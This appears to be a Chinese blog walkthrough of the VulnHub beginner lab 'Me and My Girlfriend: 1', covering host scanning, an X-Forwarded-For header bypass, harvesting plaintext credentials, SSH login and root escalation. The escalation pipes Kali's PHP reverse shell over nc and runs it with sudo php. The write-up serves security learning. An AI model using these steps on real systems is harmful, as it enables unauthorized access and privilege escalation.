欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

vulnhub靶机练习-Me and My Girlfriend: 1

程序员文章站 2022-07-16 15:44:05
...

vulnhub靶机练习-Me and My Girlfriend: 1

靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/点击直接下载

  1. 靶机介绍
    DescriptionBack To The Top
    Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!
    Difficulty Level: Beginner
    Notes: there are 2 flag files
    Learning: Web Application | Simple Privilege Escalation
    vulnhub靶机练习-Me and My Girlfriend: 1
  2. 靶机安装
    虚拟机:vmware workstation 15 pro(官网使用Virtualbox)
    攻击者:kali linux(ip:192.168.15.131)
    文件:Me-and-My-Girlfriend-1.ova
    步骤:vmware workstation点击打开虚拟机,载入.ova,完成靶机安装。将靶机网络设置成与kali linux相同的模式——nat模式。
  3. 主机发现,kali扫描用网段主机,发现目标主机IP为192.168.15.141。
netdiscover -r 192.168.15.131/24

vulnhub靶机练习-Me and My Girlfriend: 1

  1. 对目标主机进行扫描,22/tcp open ssh、80/tcp open http开放。
nmap -sS -A 192.168.15.141

vulnhub靶机练习-Me and My Girlfriend: 1

  1. 访问80端口,限制本地访问,可构造XXF注入。vulnhub靶机练习-Me and My Girlfriend: 1
  2. burpsuite抓包,加入X-Forwarded-For:127.0.0.1(需一直加入消息头内)。
    vulnhub靶机练习-Me and My Girlfriend: 1

forward(一直加入X-Forwarded-For:127.0.0.1)。
vulnhub靶机练习-Me and My Girlfriend: 1
7. 没发现SQL注入,不是文件包含。注册,登录,在profile界面修改密码那,发现源码有账号密码明文。修改user_id,还有其他五个用户的账号密码,其中出现主人公Alice。账号:alice,密码:4lic3。
vulnhub靶机练习-Me and My Girlfriend: 1vulnhub靶机练习-Me and My Girlfriend: 1
8. 用alice的账号密码在kali linux上ssh登录。

ssh aaa@qq.com
  1. 登录成功,但是不是root权限,查看不了sudo权限用户。顺便在alice目录下发现了她的秘密和第一个flag
    vulnhub靶机练习-Me and My Girlfriend: 1
    vulnhub靶机练习-Me and My Girlfriend: 1
    vulnhub靶机练习-Me and My Girlfriend: 1
  2. 查看系统信息(此处是绕路弯路了,不过也是个思路 )
uname -a

vulnhub靶机练习-Me and My Girlfriend: 1

  1. 用searchsploit查找相关漏洞,进行提权。
searchsploit ubuntu 14.04
searchsploit linux Kernel 4.4.0

vulnhub靶机练习-Me and My Girlfriend: 1

  1. 目标主机没有编译c的环境,安装gcc需要root权限。所以我配置了一台相同参数系统,进行编译,然后用nc传输编译后的文件到目标主机上,运行,提权失败,原因是目标机不在exploit范围内。接着找了几个,都失败了。还是太菜,去网上看下题解。题解链接

  2. 正确方法。查看本用户能够执行的sudo权限。有php执行权限。

 sudo -l

vulnhub靶机练习-Me and My Girlfriend: 1

  1. 上传kali的webshell。给kali反弹一个shell。
    kali(192.168.15.131):
nc -l -p 4444< /usr/share/webshells/php/php-reverse-shell.php

ssh:

nc -vn 192.168.15.131 4444 > shell
sudo php shell

反弹提权成功。
vulnhub靶机练习-Me and My Girlfriend: 1

  1. root目录用户下找到第二个flag。
    参考资料:
    HTTP 请求头中的 X-Forwarded-For
    Vulnhub-Me and My Girlfriend: 1-Writeup

(注:本人菜鸡,如有错误,欢迎评论指出)